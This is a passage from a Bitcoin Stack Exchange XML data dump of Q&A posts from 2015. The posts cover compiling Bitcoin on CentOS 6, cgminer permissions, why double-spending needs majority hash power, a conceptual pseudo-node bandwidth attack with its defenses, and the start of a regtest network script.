LastEditorUserId="13440" LastEditDate="2017-11-01T20:37:00.280" LastActivityDate="2017-11-01T20:37:00.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36058" PostTypeId="2" ParentId="12633" CreationDate="2015-02-15T04:20:33.680" Score="1" Body="&lt;p&gt;If you want to compile Bitcoin on CentOS 6, you will need more than just Bitcoin; several other dependencies are either missing or too old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particulars:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Boost is too old. CentOS 6 has version 1.41, but Bitcoin requires features first introduced in Boost 1.47.&lt;/li&gt;&#xA;&lt;li&gt;Berkeley DB is too old. CentOS 6 has version 4.7, but Bitcoin wants version 4.8 (but see below for more on this).&lt;/li&gt;&#xA;&lt;li&gt;OpenSSL may be missing some elliptic curve algorithms required for Bitcoin, due to Red Hat's extremely conservative legal stance with respect to ECC. (See bugs &lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=319901&quot; rel=&quot;nofollow noreferrer&quot;&gt;319901&lt;/a&gt; and &lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=1020292&quot; rel=&quot;nofollow noreferrer&quot;&gt;1020292&lt;/a&gt;, among others.)&lt;/li&gt;&#xA;&lt;li&gt;The qrencode and miniupnpc libraries, necessary for the Bitcoin GUI to support QR codes and UPnP respectively, are missing entirely. (A server-only build doesn't need them, though.)&lt;/li&gt;&#xA;&lt;li&gt;Older versions of the Bitcoin codebase did not work with Qt 4.6, the version shipped with CentOS 6, but required Qt 4.7. I fixed this with a one-liner, and it was patched upstream. This probably won't affect you, though, unless you're building old code for some reason.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You also need these packages, which do exist in CentOS 6:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;db4-devel&lt;/li&gt;&#xA;&lt;li&gt;autoconf automake libtool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And you also need this package from EPEL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;protobuf-devel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a build including the GUI, you also need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;qt-devel desktop-file-utils&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you need to patch Bitcoin to accept using Berkeley DB 4.7; by default the configure script bails if BDB 4.8 is not present, even if you pass the configure option that is supposed to override this. And be warned that wallets created by this build may or may not work with Bitcoin compiled with BDB 4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to patch it again to make it compile on the older versions of gcc and glibc shipped with EL6, as the current Bitcoin code assumes a compiler supporting C++11 is being used. It's a one line patch, but it took me half an hour to track down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, this is kind of painful, and the &lt;em&gt;missing&lt;/em&gt; libraries alone cause most people to give up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of these packages (except miniupnpc) are in CentOS 7, so if you're going down this road, that's probably a better starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been maintaining versions of those libraries, along with an SELinux-enhanced Bitcoin build, for a couple of years now. It's much easier to just &lt;a href=&quot;https://www.cryptorpms.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;grab the repo and install the existing RPM packages&lt;/a&gt; since I've done all this work for you. But if you really want to cover that ground again, there's your road map.&lt;/p&gt;&#xA;" OwnerUserId="1567" LastEditorUserId="1567" LastEditDate="2020-01-06T18:44:41.167" LastActivityDate="2020-01-06T18:44:41.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36059" PostTypeId="2" ParentId="36002" CreationDate="2015-02-15T10:06:28.073" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.walletexplorer.com&quot; rel=&quot;nofollow&quot;&gt;WalletExplorer.com&lt;/a&gt; can associate addresses and Txs with ~100 services, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://LocalBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Silk Road, Agora, other &lt;a href=&quot;http://www.deepdotweb.com&quot; rel=&quot;nofollow&quot;&gt;DNMs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Defunct services like &lt;a href=&quot;http://Vaultofsatoshi.com&quot; rel=&quot;nofollow&quot;&gt;Vaultofsatoshi&lt;/a&gt;, Bitcoinica, &lt;a href=&quot;http://Inputs.io&quot; rel=&quot;nofollow&quot;&gt;Inputs.io&lt;/a&gt;, &lt;a href=&quot;http://www.mtgox.com&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt; etc&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.Strongcoin.com&quot; rel=&quot;nofollow&quot;&gt;Strongcoin&lt;/a&gt;, other wallet providers&lt;/li&gt;&#xA;&lt;li&gt;Lending platforms like &lt;a href=&quot;http://btcjam.com&quot; rel=&quot;nofollow&quot;&gt;BTCJam&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://BTC-E.com&quot; rel=&quot;nofollow&quot;&gt;BTC-E&lt;/a&gt;, &lt;a href=&quot;http://www.coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt;, &lt;a href=&quot;http://bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt; and other popular exchanges&lt;/li&gt;&#xA;&lt;li&gt;Gambling sites like &lt;a href=&quot;http://just-dice.com&quot; rel=&quot;nofollow&quot;&gt;Just-Dice&lt;/a&gt;, &lt;a href=&quot;http://www.SealsWithClubs.com&quot; rel=&quot;nofollow&quot;&gt;SealsWithClubs Poker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mixers/tumblers like BTCFog&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm extremely curious how this is done, to be honest. I suppose it's just tracking UTXOs of known addresses and identifying associated Txs, but it's quite fascinating how accurate the data is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The service doesn't identify newer addresses, of course, since fresh addresses need &lt;code&gt;x&lt;/code&gt; blocks / UTXOs to deduce the associated account/marketplace/exchange.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-02-15T10:06:28.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36061" PostTypeId="2" ParentId="36056" CreationDate="2015-02-15T13:59:49.590" Score="2" Body="&lt;p&gt;A large number of interconnected psuedo-nodes makes launching a bandwidth-exhaustion attack much easier.  Bitcoin Core validates most information before relaying it, but psuedo-nodes don't validate---so if you can get some psuedo-nodes connected together, it's probably easy to get them to waste tons of bandwidth by relaying junk data to each other and then to their peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if there are 101 psuedo-nodes (PNs) connected together, you can send PN1 a valid-looking &lt;a href=&quot;https://bitcoin.org/en/developer-reference#inv&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;inv&lt;/code&gt; packet&lt;/a&gt; announcing a single fake transaction (about 61 bytes plus TCP packet overhead).  Each PN relays that &lt;code&gt;inv&lt;/code&gt; for a minimum of 6100 wasted upload bytes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But those PNs are also connected to real nodes.  Lets say 500 real nodes, so now the wasted PN upload bandwidth is 36,600 bytes (plus TCP overhead)---all because an attacker created a single 61-byte &lt;code&gt;inv&lt;/code&gt;.  Worse, the real nodes are going to request the transaction using a 61-byte &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getdata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getdata&lt;/code&gt; packet&lt;/a&gt;, wasting 30,500 bytes of real node upload bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the attacker sends 1MB of fake data per second for an entire day, he'll use 86 gigabytes of his own bandwidth,  but waste 52 &lt;em&gt;terabytes&lt;/em&gt; of aggregate PN upload bandwidth and potentially 43 terabytes of real node upload bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Depending on how the PNs are written, they may waste even more bandwidth relaying the &lt;code&gt;getdata&lt;/code&gt; packet around.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare this to the cost of running the attack against a single real node.  For each 61-byte &lt;code&gt;inv&lt;/code&gt; packet the attacker uploads, the real node replies by uploading a single 61-byte &lt;code&gt;getdata&lt;/code&gt;.  So a bandwidth exhaustion attack against a real node requires roughly a 1:1 about of wasted bandwidth.  The real node doesn't further relay the &lt;code&gt;inv&lt;/code&gt; until it receives and validates the transaction it refers to, so no other node has any wasted bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any feasible contingencies in the protocol to delineate&#xA;  between a PN and a node? For example, would different Bitcoincore&#xA;  versions identify PNs (or a simple modification to the protocol)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The protocol already has the notion of a DoS ban score, in which each&#xA;Bitcoin Core node assigns a private score to each of its peers for any&#xA;bad behavior they perform. Once the DoS ban score for a particular peer&#xA;reaches a threshold (100 by default), the node disconnects from the peer&#xA;and refuses further connections from its IP address for a time (one day&#xA;by default). Bad behaviour includes sending invalid transactions&#xA;and blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because PNs don't validate data, they'll happily relay invalid data. If&#xA;they become common, someone who wants to grief PNs could simply connect&#xA;to any advertised node and send it a bunch of invalid data. If it was a&#xA;real full node, it will disconnect (DoS ban). If it was a PN, it would&#xA;relay that data to real full nodes, causing the real full nodes to DoS&#xA;ban it. This would make the PN useless and would allow the griefer to&#xA;detect which nodes are PNs---the griefer could then publish (an&#xA;unauthenticatable) database of PN IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method works best against long-term PNs. To make it harder to&#xA;execute short-term Sybil attacks from lots of lightweight PNs, something&#xA;like Greg Maxwell's &lt;a href=&quot;https://bitcointalk.org/index.php?topic=310323.msg3332919#msg3332919&quot; rel=&quot;nofollow&quot;&gt;proof of storage to make distributed resource&#xA;consumption&#xA;costly&lt;/a&gt;&#xA;could be used.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2015-02-15T17:29:26.573" LastActivityDate="2015-02-15T17:29:26.573" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36062" PostTypeId="2" ParentId="24255" CreationDate="2015-02-15T14:48:36.967" Score="0" Body="&lt;p&gt;BIP 38 is currently the ultimate form of cold storage paper wallets. If you print copies of your BIP38 QR codes corresponding to your private keys, and somebody steals a copy, you are probably not going to loose any money provided you have strong passwords.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, software based wallets are starting to support the importation and sweeping of BIP38 encoded cold wallets. Any BIP 38 encoded private keys are easy to spot because the begin with &quot;6PR&quot;.  These first three letters allow BIP standards-based wallets to recognize the private keys are AES encrypted and will prompt the user for a password to support importation or sweeping.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-02-15T14:48:36.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36063" PostTypeId="1" AcceptedAnswerId="36069" CreationDate="2015-02-15T16:48:31.223" Score="3" ViewCount="4228" Body="&lt;p&gt;What does the clock frequency of my miner mean. I can change it but how does it affect performance? For BFGMiner when I start my Gridseed I can press 'C' to change it.&lt;/p&gt;&#xA;" OwnerUserId="21126" LastEditorUserId="5406" LastEditDate="2016-03-05T15:16:30.577" LastActivityDate="2016-03-05T15:16:30.577" Title="What does the frequency of my miner mean?" Tags="|mining-hardware|miner-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36064" PostTypeId="1" CreationDate="2015-02-15T21:40:37.770" Score="4" ViewCount="1093" Body="&lt;p&gt;I followed this tutorial &lt;a href=&quot;https://litecoin.info/Debian_Linux_cryptocoin_mining_rig_setup_guide&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Debian_Linux_cryptocoin_mining_rig_setup_guide&lt;/a&gt; and set up a Mining rig (Debian 6.0.10). Sometimes I modified it (downloaded later graphics drivers than in the Tutorial sugestet etc) but it works and I can mine on a pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can mine only if I log in as root. If I log in as a normal user and type &lt;code&gt;cgminer --verbose -T&lt;/code&gt;, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2015-02-15 22:36:50] Started cgminer 3.7.2                    &#xA; [2015-02-15 22:36:50] Loaded configuration file /home/martin/.cgminer/cgminer.conf                    &#xA;No protocol specified&#xA;No protocol specified&#xA;No protocol specified&#xA; [2015-02-15 22:36:50] CL Platform 0 vendor: Advanced Micro Devices, Inc.                    &#xA; [2015-02-15 22:36:50] CL Platform 0 name: AMD Accelerated Parallel Processing                    &#xA; [2015-02-15 22:36:50] CL Platform 0 version: OpenCL 2.0 AMD-APP (1642.5)                    &#xA; [2015-02-15 22:36:50] Error -1: Getting Device IDs (num)                    &#xA; [2015-02-15 22:36:50] clDevicesNum returned error, no GPUs usable                    &#xA; [2015-02-15 22:36:50] All devices disabled, cannot mine! &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried setting all privileges in the folders in root - which are used for litecoin mining - to 777 and to change the owner to the usual user, but it didn't work. I copied the file &lt;code&gt;/root/.cgminer/cgminer.conf&lt;/code&gt; to &lt;code&gt;/home/user/.cgminer/cgminer.conf&lt;/code&gt;, set the user and the right to this file, but this didn't solve the problem too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why can only root access the OpenCL functions which are used, why can not the normal user do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="23365" LastEditorUserId="5406" LastEditDate="2016-04-10T12:51:46.380" LastActivityDate="2017-10-03T02:51:11.817" Title="Mining Litecoins as User in Debian" Tags="|litecoin|miner-configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36069" PostTypeId="2" ParentId="36063" CreationDate="2015-02-15T23:48:42.653" Score="1" Body="&lt;p&gt;I believe that is just a parameter to allow you to control the clock frequency (usually measured in MHz) of your miner. You can see a sample list of configurations for CGMiner &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/README&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an inherent trade-off here. A higher frequency means a higher hash-rate but more energy consumption and wear-and-tear on your hardware. For example, &lt;a href=&quot;http://bitcoinrigs.org/instructions/antminer-u1/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt; shows a sample chart of different frequencies and hash rates for a particular piece of hardware. It's up to individual miners to figure out what the right trade-off between performance and energy consumption is for them. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-02-15T23:48:42.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36071" PostTypeId="1" AcceptedAnswerId="36076" CreationDate="2015-02-16T05:17:46.067" Score="4" ViewCount="1356" Body="&lt;p&gt;If transactions in a block are valid, in order to add that block in the block chain, a proof of work needs to be found. I have read the bitcoin paper by Satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the difficulty of the proof of work requires say 2^52 computations (13 hex zeros) on an average, and since every node on the network is working independently, why can't the powerful adversary surpass the length of current block chain and present his version of block chain to the network? Specifically, why does the attacker have to control 1 percent or x percent of the network's computational power, when honest nodes on the network are not working in collaboration to find the proof of work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the adversary can find a proof of work quicker than the most powerful honest peer, he can compute a longer block chain and broadcast it to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us assume that there are 2^20 nodes on the network, each computing 2^40 hashes per second on an average. Each node would then require 68 minutes to find a proof of work (trying 2^52 hashes). The total computing power of the network is number of nodes * computing power of each node = 2^20*2^40 = 2^60.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the adversary operates at the speed of 2^45 hashes per second, he requires just 2^7 = 2 min to find a proof of work (2^52 hashes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the computing power of the network is 2^60, however each node is trying to find a proof of work independently. The computing power of adversary compared to the network is 32,000 times smaller. The amount of computing power controlled by the adversary is 1/32000 = 0.00001%,  but still he can compute the longer block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, if I am assuming something wrong here. The honest nodes on the network do not work in collaboration. So attacker need not control 50% of computing power on the network and has to expend computing power just more than average computing power of the honest nodes.&lt;/p&gt;&#xA;" OwnerUserId="23335" LastEditorUserId="5406" LastEditDate="2016-03-10T09:46:18.120" LastActivityDate="2016-03-10T09:46:18.120" Title="Why does an adversary have to control 50% of the computing power to double spend?" Tags="|mining-theory|proof-of-work|majority-attack|mining-technical-details|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36073" PostTypeId="2" ParentId="36071" CreationDate="2015-02-16T05:44:42.500" Score="2" Body="&lt;p&gt;Because it's irrelevant how long an individual honest node takes to mine a block. The honest nodes work independently, but if &lt;em&gt;any&lt;/em&gt; of them mine a block they all move on to the next block. Nodes aren't all trying the same thing; each of the 2^20 honest nodes is looking at different hash values, so while an individual node only succeeds every 16 minutes on average, someone will get lucky and succeed after a minuscule fraction of a second (for instance, there's a 1/16 chance an honest miner succeeds in the first minute, so with 16 honest miners you'd expect &lt;em&gt;someone&lt;/em&gt; to succeed then). &lt;/p&gt;&#xA;" OwnerUserId="23370" LastActivityDate="2015-02-16T05:44:42.500" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="36074" PostTypeId="1" CreationDate="2015-02-16T06:28:30.683" Score="2" ViewCount="488" Body="&lt;p&gt;Are there any other platforms or tools beside TestNet where I can simulate and analyze various attacks like double spending (finney/block withholding attacks etc.)?&lt;/p&gt;&#xA;" OwnerUserId="23319" LastEditorUserId="5406" LastEditDate="2015-02-16T11:40:48.587" LastActivityDate="2015-02-16T12:40:48.853" Title="How can one simulate and analyze attacks on the Bitcoin network?" Tags="|testnet|attack|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36075" PostTypeId="2" ParentId="32310" CreationDate="2015-02-16T08:18:18.637" Score="-1" Body="&lt;p&gt;The source of shared send in blockchain.info is open source. &lt;a href=&quot;https://github.com/blockchain/Sharedcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockchain/Sharedcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The limit which blockchain.info offers for shared send is 50BTC. You can check the code and modify the max limit but to mix the coins you should have enough transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check lines 62 and 63 in below code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/blockchain/Sharedcoin/blob/master/website/src/piuk/website/SharedCoin.java&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockchain/Sharedcoin/blob/master/website/src/piuk/website/SharedCoin.java&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22963" LastActivityDate="2015-02-16T08:18:18.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36076" PostTypeId="2" ParentId="36071" CreationDate="2015-02-16T08:24:21.490" Score="7" Body="&lt;p&gt;There are two assumptions in your question that aren't completely correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;em&gt;Each node would then require 68 minutes to find a proof of work (trying 2^52 hashes).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process of finding a new block is &lt;strong&gt;not a linear task&lt;/strong&gt; of work that needs to be accumulated. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/22984/5406&quot;&gt;Rather it is a random process.&lt;/a&gt; Instead of a pile of work you are going through that has a fixed size, you could think of it as a lottery: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/35662/5406&quot;&gt;Each try can win&lt;/a&gt;, but &lt;strong&gt;&lt;em&gt;in average&lt;/em&gt;&lt;/strong&gt; it takes 2^52 tries to win. This distinction is very important, because…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;em&gt;The honest nodes on the network do not work in collaboration.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;…it allows the network to collaborate without coordinating!&lt;br&gt;&#xA;Every mining entity is trying to confirm a &lt;em&gt;different block&lt;/em&gt;. This is so, because each is trying to claim the block reward for themselves, therefore at least one transaction, the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4571/what-is-the-coinbase&quot;&gt;coinbase transaction&lt;/a&gt;, must differ.¹&lt;br&gt;&#xA;So, since we have established that we are looking at a random process, and everyone is working on different data, we realize that the honest nodes are not duplicating each other's work. Therefore, all the honest nodes are going through a lot more inputs together than the adversary, and in effect &lt;strong&gt;&lt;em&gt;are collaborating&lt;/em&gt;&lt;/strong&gt; at finding a new block.&lt;br&gt;&#xA;As &lt;a href=&quot;https://bitcoin.stackexchange.com/a/36073/5406&quot;&gt;cpast has pointed out in the comments&lt;/a&gt;, it is also very important to realize that nobody loses progress by switching. Therefore, only the time that the block requires to propagate through the network is lost, and everybody will switch to the new block with the one just found as a parent as soon as they receive it.&#xA;Finally, this means that we need to compare the mining power of the honest network with the adversary's mining power in order to see who can create the greater chain. And as you have said yourself, with your exemplary numbers the network is 2^15 times as powerful than the adversary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;¹ Also, they can be working of different sets of transactions, the transactions will be in a different order for different miners, the timestamp changes every second, and they add more random data to try different inputs.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-02-16T14:44:37.370" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36077" PostTypeId="2" ParentId="22724" CreationDate="2015-02-16T08:33:24.810" Score="2" Body="&lt;p&gt;There is a wallet called &lt;a href=&quot;https://electrum-ltc.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum LTC&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are versions for Windows, Linux and OS X.&lt;/p&gt;&#xA;" OwnerUserId="23371" LastEditorUserId="5406" LastEditDate="2015-02-17T11:01:45.233" LastActivityDate="2015-02-17T11:01:45.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36078" PostTypeId="1" CreationDate="2015-02-16T09:46:15.940" Score="0" ViewCount="1190" Body="&lt;p&gt;I am creating a new alt coin and I want to know how to generate a Blockchain for that coin. I have already created the genesis block for my new alt coin.&lt;/p&gt;&#xA;" OwnerUserId="22907" LastEditorUserId="5406" LastEditDate="2015-02-16T10:21:56.063" LastActivityDate="2015-03-20T02:36:08.340" Title="How to create a Blockchain for new alt coin after genesis block has been created?" Tags="|altcoin-development|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36079" PostTypeId="2" ParentId="36074" CreationDate="2015-02-16T12:40:48.853" Score="2" Body="&lt;p&gt;The &lt;code&gt;regtest&lt;/code&gt; operational mode of &lt;code&gt;bitcoind&lt;/code&gt; is not as similar to &lt;code&gt;testnet&lt;/code&gt; as you might think. The &lt;code&gt;regtest&lt;/code&gt; mode offers you a totally local Bitcoin blockchain which is easily controlled by your local &lt;code&gt;bitcoind&lt;/code&gt; with low difficulty. According to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/36014/22795&quot;&gt;this post&lt;/a&gt;, it is furthermore possible to build a network out of multiple local &lt;code&gt;bitcoind&lt;/code&gt; instances, such that you have a local Bitcoin network of your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can control this network freely, but you can only simulate behavior that &lt;code&gt;bitcoind&lt;/code&gt; allows you to assume. I am not aware of whether or not this is sufficient for your cases. If not, you could maybe try to fork &lt;code&gt;bitcoind&lt;/code&gt; and somehow add the behavior you want to achieve...&lt;/p&gt;&#xA;" OwnerUserId="22795" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-02-16T12:40:48.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36081" PostTypeId="2" ParentId="32049" CreationDate="2015-02-16T17:20:06.137" Score="1" Body="&lt;p&gt;It may be a bit late, but for others coming to this question, &lt;a href=&quot;https://www.blocktrail.com&quot; rel=&quot;nofollow&quot;&gt;Blocktrail&lt;/a&gt; have a data and wallet API that supports both Bitcoin mainnet and testnet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API provides HD wallets with multi-signature transactions (allowing for full control over your coins should anything ever happen to Blocktrail), and there are currently SDKs for &lt;a href=&quot;https://github.com/blocktrail/blocktrail-sdk-php&quot; rel=&quot;nofollow&quot;&gt;PHP&lt;/a&gt;, &lt;a href=&quot;https://github.com/blocktrail/blocktrail-sdk-nodejs&quot; rel=&quot;nofollow&quot;&gt;NodeJS&lt;/a&gt; and &lt;a href=&quot;https://github.com/blocktrail/blocktrail-sdk-python&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt;, with more coming soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also simple examples included in the SDKs to help you get started, a comprehensive &lt;a href=&quot;https://www.blocktrail.com/api/docs&quot; rel=&quot;nofollow&quot;&gt;API documentation&lt;/a&gt;, and a couple of working example projects:&lt;br&gt;&#xA; 1. &lt;a href=&quot;https://github.com/blocktrail/simple-bitcoin-wallet-app&quot; rel=&quot;nofollow&quot;&gt;Simple Bitcoin Wallet App&lt;/a&gt;&lt;br&gt;&#xA; 2. &lt;a href=&quot;https://github.com/blocktrail/simple-block-explorer&quot; rel=&quot;nofollow&quot;&gt;Simple Block Explorer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer&lt;/em&gt;&lt;br&gt;&#xA;I am currently one of the core developers for this API&lt;/p&gt;&#xA;" OwnerUserId="19005" LastActivityDate="2015-02-16T17:20:06.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36082" PostTypeId="2" ParentId="4818" CreationDate="2015-02-16T17:44:56.053" Score="6" Body="&lt;p&gt;I built a dedicated testnet wallet during a weekend hackathon &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://testnetwallet.com&quot;&gt;http://testnetwallet.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21556" LastActivityDate="2015-02-16T17:44:56.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36083" PostTypeId="1" AcceptedAnswerId="36089" CreationDate="2015-02-16T19:14:11.880" Score="8" ViewCount="1300" Body="&lt;p&gt;I have created, signed and sent a raw transaction via bitcoind RPC. Now I want to wait for it to have n confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Malleability&quot; rel=&quot;noreferrer&quot;&gt;transaction malleability&lt;/a&gt;, I can't just check the &lt;code&gt;&quot;confirmations&quot;&lt;/code&gt; field returned by &lt;code&gt;gettransaction&lt;/code&gt;, because the transaction with that particular &lt;code&gt;txid&lt;/code&gt; may never be accepted, in case an equivalent transaction with some other &lt;code&gt;txid&lt;/code&gt; was accepted instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the canonical way, using bitcoind JSON-RPC, to check if an equivalent transaction was accepted in place of mine? What calls are better suited for the task?&lt;/p&gt;&#xA;" OwnerUserId="23378" LastEditorUserId="23378" LastEditDate="2015-02-16T20:48:07.587" LastActivityDate="2018-01-25T06:03:21.850" Title="Using bitcoins JSON RPC, how can I confirm a transaction I published?" Tags="|transactions|json-rpc|transaction-malleability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36084" PostTypeId="2" ParentId="28107" CreationDate="2015-02-17T03:39:02.690" Score="13" Body="&lt;p&gt;Although I believe Fred Tingey's answer is complete, it has the following attributes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it depends on a config file.&lt;/li&gt;&#xA;&lt;li&gt;it provides examples for bitcoin-qt on the windows platform, and the OP was asking about bitcoind on the linux platform.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thus, I wanted to share the following concise &lt;strong&gt;bash script&lt;/strong&gt; which does what the OP wants. As others have partially noted the key to getting this to work is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;specify a unique port (if listening) and rpcport (if using rpc) for each node&lt;/li&gt;&#xA;&lt;li&gt;specify a unique data directory for each node&lt;/li&gt;&#xA;&lt;li&gt;if using &lt;code&gt;-connect&lt;/code&gt; to restrict to own nodes, remember to use &lt;code&gt;-listen&lt;/code&gt; to accept connections from own nodes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That said, here's my &lt;code&gt;start-regtest-network.sh&lt;/code&gt; script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;bitcoind -server -listen -port=17591 -rpcuser=bitcoinrpc -rpcpassword=P$SECONDS -rpcport=16591 -datadir=$HOME/regtest/A/ 